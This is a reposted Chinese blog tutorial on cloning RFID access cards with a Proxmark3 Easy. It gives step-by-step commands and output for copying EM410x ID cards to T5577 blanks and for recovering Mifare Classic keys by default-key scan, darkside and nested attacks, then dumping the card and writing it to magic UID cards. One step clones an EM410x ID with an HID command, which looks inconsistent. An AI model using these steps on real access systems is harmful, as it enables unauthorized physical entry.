Proxmark3 Easy破解門禁卡(轉載 珍貴知識防止掉失)

轉載至:https://lzy-wi.github.io/2018/07/26/proxmark3/

大家請看源作者文章,如果鏈接失效纔看本篇吧。

前言

  安全不僅僅包含網絡上的安全,在我們實際生活中也同樣存在很多個安全相關的事物,可以說跟科技扯上關係的事物都會有安全問題,無線,藍牙,手機,無人機,汽車。真正有問題的不是安全,而是人心。很多事物的設計之初都是沒有考慮安全問題的,因爲人心的不壞好意迫使去考慮它的安全問題。

硬件準備

破解設備

Proxmark3 Easy



破解工具不一定是Proxmark3 Easy,只要是還能夠獲取和修改卡片數據的設備都可以,比如arc122u,arc122u只能讀取和修改高頻卡,有點不足

各種卡

準備一些ID,IC卡


這不都長一個樣麼(#-.-)

區分ID卡和IC卡的方法

  1. 光照法

  1. 圓形大多是ID卡,方形大多是IC卡
  2. NFC法
    拿一部帶有NFC功能的手機打開NFC,卡片靠近手機會響的是IC卡,不會響的是ID卡

知識準備

  首先,門禁卡所用到的技術是RFID,具體詳情可以看這裏–>傳送門,首先從頻率上可以分爲高頻(13.56MHZ)和低頻兩種類型的卡,在這兩個頻率上又會分爲多種類型的卡。常見的卡的有

類型 頻率 特性
Mifare S50(簡稱M1) 高頻 最常見的卡,每張卡有獨一無二的UID號,可保存修改數據,常見學生卡,飯卡,公交卡,門禁卡
Mifare UltraLight(簡稱M0) 高頻 低成本卡,出廠固化UID,可儲存修改數據,常見地鐵卡,公交卡
Mifare UID(簡稱UID卡) 高頻 M1卡的變異版本,可修改UID,國外叫做中國魔術卡,可以用來克隆M1 S50的數據
EM4XX(簡稱ID卡) 低頻 常用固化ID卡,出廠固化ID,只能讀不能寫(低成本門禁卡,小區門禁卡,停車場門禁卡)
T5577(簡稱可修改ID卡) 低頻 可用來克隆ID卡,出廠爲空卡,內有三區也可儲存數據,個別三區科設置密碼
HID ProxⅡ(簡稱HID卡) 低頻 美國常用的低頻卡,可擦寫,不與其他卡通用

高頻

M1 S50卡

  目前最常見的高頻卡,也是我們口中俗稱的IC卡。M1卡科儲存的數據大小爲8k,分爲16個扇區,每個扇區分4個塊,每個塊爲16個字節,以塊爲存取單位。每個扇區都有獨立的一組密碼及訪問控制,每張卡有唯一的一個32位的序列號。每個扇區的0,1,2塊爲數據塊,用來存儲數據,第3塊爲控制塊,包括了密A、存取控制、密碼B
每張卡的第0扇區的第0塊用來春芳廠商代碼,不可更改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
扇區0	03332801198804008500b42ef0bb6aa8 塊0	 	//廠商代碼,不可更改
	00000000000000000000000000000000 塊1	 	//數據塊
	00000000000000000000000000000000 塊2 		//數據塊
	ffffffffffffff078069ffffffffffff 塊3 		//密碼A(6字節),存儲控制(4字節),密碼B(6字節)

扇區1	00000000000000000000000000000000 塊4 		//出了第0扇區稍有不同,其他15個扇區結構完全一樣
	00000000000000000000000000000000 塊5
	00000000000000000000000000000000 塊6
	ffffffffffffff078069ffffffffffff 塊7
		        .
		        .
		        .   
扇區15	00000000000000000000000000000000 塊60
	00000000000000000000000000000000 塊61
	00000000000000000000000000000000 塊62
	ffffffffffffff078069ffffffffffff 塊63

 

  中間4字節控制字是管理密碼權限,用來設置A密碼和B密碼的功能。默認不修改的時候,可以用A密碼讀寫所有數據。A密碼不可讀出,B密碼可以用A密碼讀出。密碼不一定可以讀取,由控制字決定。

M1 UID卡

  M1 UID卡是針對M1 S50卡特製的變種卡,用起來和M1 S50完全一樣,只是多了一個功能,就是0扇區塊的數據可以隨意修改。因此UID號也可以隨意修改,廠家信息也可以隨意修改。UID卡修改0扇區0塊數據是靠指令進入工廠模式,可以直接對全卡任何數據編輯,不需要密碼即可讀寫卡,同時不怕寫壞卡,即使寫錯0塊,寫壞扇區控制字,也可以隨時修復回來,不影響後續使用。

FUID卡

  FUID卡是針對UID卡做的優化。新的讀卡系統,通過檢測卡片對特殊指令的迴應,可以檢測出UID卡,因此可以來拒絕UID卡的訪問,來達到屏蔽複製卡的功能。FUID可以修改0塊,但只可以修改一次,寫錯也沒辦法更改,也不能重複利用。修改後和M1卡完全一樣,很難被屏蔽檢測。

CUID卡

  CUID卡是針對FUID卡做的優化。CUID卡可以重複修改0塊,但是它和UID卡的區別是,UID卡是通過指令修改0塊,CUID使用的是常規密碼驗證的方法寫0塊,其他扇區和標準M1卡相同。缺點是,還是有可能會被檢測出來,而且如果不小心寫錯了UID號的校驗位導致無法讀卡,沒辦法修復只能報廢。

低頻

ID卡

  ID卡是我們的俗稱,內部芯片的全名叫做EM4100或EM41XX。每張卡出廠就有獨一無二的ID號,不可改寫。

T5577卡

  T5577 卡是一種可以寫入數據可以加密的低頻卡。最特別之處是,寫入ID號可以變身成爲ID卡,寫入HID號可以變身HID卡,寫入Indala卡號,可以變身Indala卡。T5577一共有8個塊,每個塊只能存8位數。第0塊是用來設置卡片類型和調製方式的,決定了卡片是ID卡還是HID卡,如果隨意修改會導致讀不到卡。最後一個塊,在沒有加密時是數據區,加密後,其數據就變成了密碼。結構如下

1
2
3
4
5
6
7
8
0x00148040  00000000000101001000000001000000 [0]
0xFF94C004  11111111100101001100000000000100 [1]
0xA5464942  10100101010001100100100101000010 [2]
0xFFFFF808  11111111111111111111100000001000 [3]
0x0001C000  00000000000000011100000000000000 [4]
0x0001C000  00000000000000011100000000000000 [5]
0x0001C000  00000000000000011100000000000000 [6]
0x0001C000  00000000000000011100000000000000 [7]

 

破解

破解ID卡

安裝驅動

驅動下載官網網址–>傳送門
安裝驅動文件前需要禁用驅動安裝強制簽名,方法–>傳送門
驅動安裝方法
我的電腦右鍵–>管理–>設備管理器–>端口下的設備右鍵–>更新驅動程序–>瀏覽我的計算機–>選擇本地–>從磁盤安裝–找到官方的驅動文件–>確認
驅動安裝完成會顯示圖片上的樣子,記住COM端口

硬件使用方法

Proxmark3 Easy

1 功能按鈕
2 ABCD工作狀態指示燈
3 USB接口
4 電源指示燈
5 低頻讀卡區
6 高頻讀卡區

  功能按鈕有退出取消停止強刷固件的功能,ABCD指示燈作爲設備運行的依據,閃爍說明正在進行,完全熄滅或者常亮代表攻擊失敗、等待。全部熄滅表示已經停止運行了,直接重新拔插設備。

破解方法

讀卡片ID號→換上T5577卡→把ID號寫入卡片→完成
ID是沒有密碼只有卡號的,因此只要知道卡號就可以複製。
軟件資料包–>密碼: f8q4
打開官方軟件固件\pm3-bin-2.5.0\win32(client+GUI)\Proxmark Tool.exe,箭頭所指選擇剛剛驅動安裝的那個COM端口,連接Proxmark3,接入電腦後,電源指示燈處POW亮藍燈,FULL亮綠燈,CHR閃爍微弱紅燈。

COMMAND TO SEND裏輸入hw tune測試天線諧振電壓,高頻超過5V,低頻超過10V就可以正常使用。

1
2
3
4
5
6
7
proxmark3> hw tune
Measuring antenna characteristics, please wait........          
# LF antenna: 22.27 V @   125.00 kHz          
# LF antenna: 31.76 V @   134.00 kHz          
# LF optimal: 31.76 V @   133.33 kHz          
# HF antenna: 20.17 V @    13.56 MHz          
Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.

 

把低頻ID卡(門禁卡)放到低頻讀卡區輸入lf search獲取ID卡的信息,把卡號抄下來,複製時要用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
proxmark3> lf search
Reading 30000 bytes from device memory
Data fetched          
Samples @ 8 bits/smpl, decimation 1:1           
NOTE: some demods output possible binary
  if it finds something that looks like a tag          
False Positives ARE possible
Checking for known tags:
EM410x pattern found:           
EM TAG ID      : 0000001450         //ID卡號,這個抄下來,如果是HID卡會顯示HID
Unique TAG ID  : 000000280A          
Possible de-scramble patterns          
HoneyWell IdentKey {          
DEZ 8          : 00005200          
DEZ 10         : 0000005200          
DEZ 5.5        : 00000.05200          
DEZ 3.5A       : 000.05200          
DEZ 3.5B       : 000.05200          
DEZ 3.5C       : 000.05200          
DEZ 14/IK2     : 00000000005200          
DEZ 15/IK3     : 000000000010250          
DEZ 20/ZK      : 00000000000002080010          
}
Other          : 05200_000_00005200          
Pattern Paxton : 1331792 [0x145250]          
Pattern 1      : 16652 [0x410C]          
Pattern Sebury : 5200 0 5200  [0x1450 0x0 0x1450]          
Valid EM410x ID Found! 			//卡的類型

 

把T5577卡放到低頻讀卡區,輸入命令lf hid clone 0000001450

1
2
3
4
proxmark3> lf hid clone 0000001450 
Cloning tag with ID 000001450          
proxmark3> 
proxmark3> #db# DONE!

 

上述命令在左上方的命令樹中都可以找到,左邊有一些按鈕和命令的介紹

ID卡複製就完成了
效果如下

破解IC卡

IC卡破解思路

獲取任意扇區的密鑰

  • PRNG 漏洞攻擊得 0 扇區密匙
  • 默認密碼掃描獲得密匙
  • 嗅探讀卡機和卡片交互數據獲得密匙
  • 模擬成 M1 卡刷卡後捕獲密匙(挑讀卡機,兼容性不好)


利用MFOC漏洞用已知扇區密鑰求所有扇區密鑰

用破解出的密匙把卡片數據讀出導入電腦

把電腦中的數據寫入UID卡中
  第一步是最重要也是最難的一步,很多IC卡往往都是難以攻破0扇區的密鑰而無法進行下一步。默認密碼掃描看運氣,PRNG漏洞攻擊概率低,後面兩個雖然概率高但是成本高且實施比較困難。
  上面的Proxmark Tool是官方英文版GUI,還有國內中文版GUI(Proxmark3_EASY_GUI),中文版的GUI比較簡單,不用記很多命令,原生態PM3指令臺就是純命令行模式,看起來也比較有逼格點。一開始我是根據資料用英文版的GUI,感覺不怎麼好用,後來用了原生態後覺得原生態的好用多了,但是要記命令,命令忘記了就用中文GUI查命令ㄟ( ▔, ▔ )ㄏ。can't slect card這個bug也是在用了原生態之後才知道的。
PRNG漏洞獲取0扇區密鑰,486固件不掉線外,630之後的固件,有些卡可以破,有卡些會掉線並出現can’t slect card

獲取0扇區密鑰

扯遠了,默認密碼掃描hf mf chk *1 ? t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
proxmark3> hf mf chk *1 ? t
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block:  3, key type:A, key count:13
		.
		.
		.
--sector:15, block: 63, key type:B, key count:13
Found valid key:[ffffffffffff]
Found keys have been transferred to the emulator memory

 

密碼是默認密碼的時候可以掃的出來,不是默認密碼可以嘗試PRNG漏洞獲取0扇區密鑰hf mf mifare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
proxmark3>hf mf mifare
		.
		.
		.
uid(ea117dee) nt(431c39b0) par(0000000000000000) ks(030702000a030209) nr(800000005)


|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000005| 3 |  6  |0,0,0,0,0,0,0,0|
| 20 |00000025| 7 |  2  |0,0,0,0,0,0,0,0|
| 40 |00000045| 2 |  7  |0,0,0,0,0,0,0,0|
| 60 |00000065| 0 |  5  |0,0,0,0,0,0,0,0|
| 80 |00000085| a |  f  |0,0,0,0,0,0,0,0|
| a0 |000000a5| 3 |  6  |0,0,0,0,0,0,0,0|
| c0 |000000c5| 2 |  7  |0,0,0,0,0,0,0,0|
| e0 |000000e5| 9 |  c  |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...         
p1:0 p2:0 p3:0 key:ffffffffffff
p1:58b87 p2:61ec p3:1 key:b4c98bd73e94
p1:c6a1b p2:d983 p3:2 key:576efc88ccc7
p1:ef844 p2:106dd p3:3 key:34ed3c6092e9
p1:f7e1e p2:10fd7 p3:4 key:2de06659d60e
p1:1239c0 p2:13fa0 p3:5 key:08b7558601a1
p1:12d1b3 p2:149c9 p3:6 key:00adbba1e330
key_count:7
------------------------------------------------------------------
Key found:ffffffffffff

Found valid key:ffffffffffff

 

因爲設備是我小姐姐的,固件是630之後的,所以會出現很多#db# Mifare: Can't select card,就放不了全部代碼,查看固件命令hw version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
proxmark3> hw version
#db# Prox/RFID mark3 RFID instrument
#db# bootrom: /-suspect 2016-11-09 00:59:56
#db# os: /-suspect 2016-12-08 12:45:38
#db# HF FPGA image built on 2015/03/09 at 08:41:42
#db#   Modify by Willok([email protected])

#db#      proxmark3.taobao.com


uC: AT91SAM7S256 Rev B
Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 256K bytes
Second Nonvolatile Program Memory Size: None
Internal SRAM Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash Memory

 

Tip:固件版本是根據固件的日期來看的
我們可以測試一下我們拿到的密鑰對不對,錯誤不會返回最下面那一行

1
2
3
4
proxmark3> hf mf chk 0 A ffffffffffff
chk key[ 0] ffffffffffff
--sector: 0, block:  0, key type:A, key count: 1
Found valid key:[ffffffffffff]

 

知一求十五

獲取到0扇區的密鑰後我們就可以通過MFOC漏洞獲取所有扇區的密鑰(100%成功)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
proxmark3> hf mf nested 1 0 A ffffffffffff 			//0是0扇區,A密鑰
Testing known keys. Sector count=16
nested...
Time in nested: 4.330 (inf sec per key)

-----------------------------------------------
Iterations count: 0


|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|

 

接下來導出密鑰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
proxmark3> hf mf nested 1 0 A ffffffffffff d
Testing known keys. Sector count=16
nested...
Time in nested: 4.302 (inf sec per key)

-----------------------------------------------
Iterations count: 0


|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...

 

導出後會在根目錄生成一個dumpkeys.bin的文件,裏面存放了16個扇區的密鑰(16進制)
8

導出數據

拿到密碼後我們就可以導出卡上的數據到電腦裏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
proxmark3> hf mf dump
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
	  .
	  .
	  .
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block  0 of sector  0.
#db# READ BLOCK FINISHED
Successfully read block  1 of sector  0.
	  .
	  .
	  .
#db# READ BLOCK FINISHED
Successfully read block  3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin

 

同樣16進制打開

因爲是測試卡,所以裏面就沒什麼數據ㄟ( ▔, ▔ )ㄏ。

寫入UID卡

下一步把數據寫進寫UID卡
Proxmark3不能識別、使用bin文件,需要轉換成eml格式
第一個方法是運行下面的命令轉成eml格式

1
2
3
4
5
proxmark3> script run dumptoemul.lua
--- Executing: ./scripts/dumptoemul.lua, args''
Wrote an emulator-dump to the file EA117DEE.eml

-----Finished

 

第二個方法是運行dump to EML.bat腳本轉成eml格式

寫入到白卡(UID卡)上

1
2
proxmark3> hf mf cload  dumpdata
Loaded from file: dumpdata.eml

 

寫卡是沒有回顯的,只能通過讀取的方式查看有沒有讀取成功,對比兩張卡的數據就可以看到數據是一模一樣的,克隆就完成了
IC卡破解不止這一種方法,能力和設備有限,以後有機會會繼續學習下去

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章